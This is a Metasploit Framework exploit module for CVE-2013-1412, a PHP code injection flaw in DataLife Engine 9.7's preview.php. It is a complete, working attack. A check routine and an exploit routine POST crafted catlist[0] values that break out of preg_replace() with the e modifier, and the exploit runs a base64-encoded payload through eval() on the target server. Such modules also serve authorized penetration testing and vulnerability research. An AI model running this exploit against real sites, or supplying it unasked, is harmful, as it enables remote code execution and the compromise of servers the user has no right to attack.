DataLife Engine preview.php PHP Code Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DataLife Engine preview.php PHP Code Injection',
   'Description'    => %q{
     This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
    The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
    with the e modifier, which allows to inject arbitrary php code, when the template
    in use contains a [catlist] or [not-catlist] tag.
   },
   'Author'         =>
    [
     'EgiX', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2013-1412' ],
     [ 'BID', '57603' ],
     [ 'EDB', '24438' ],
     [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
     [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Keys'   => ['php']
    },
   'DisclosureDate' => 'Jan 28 2013',
   'Targets'        => [ ['DataLife Engine 9.7', { }], ],
   'DefaultTarget'  => 0
   ))

  register_options(
   [
    OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
   ], self.class)
 end

 def uri
  normalize_uri(target_uri.path, 'engine', 'preview.php')
 end

 def check
  fingerprint = rand_text_alpha(4+rand(4))
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
     }
   })

  if res and res.code == 200 and res.body =~ /#{fingerprint}/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  @peer = "#{rhost}:#{rport}"

  print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
     }
   })
 end
end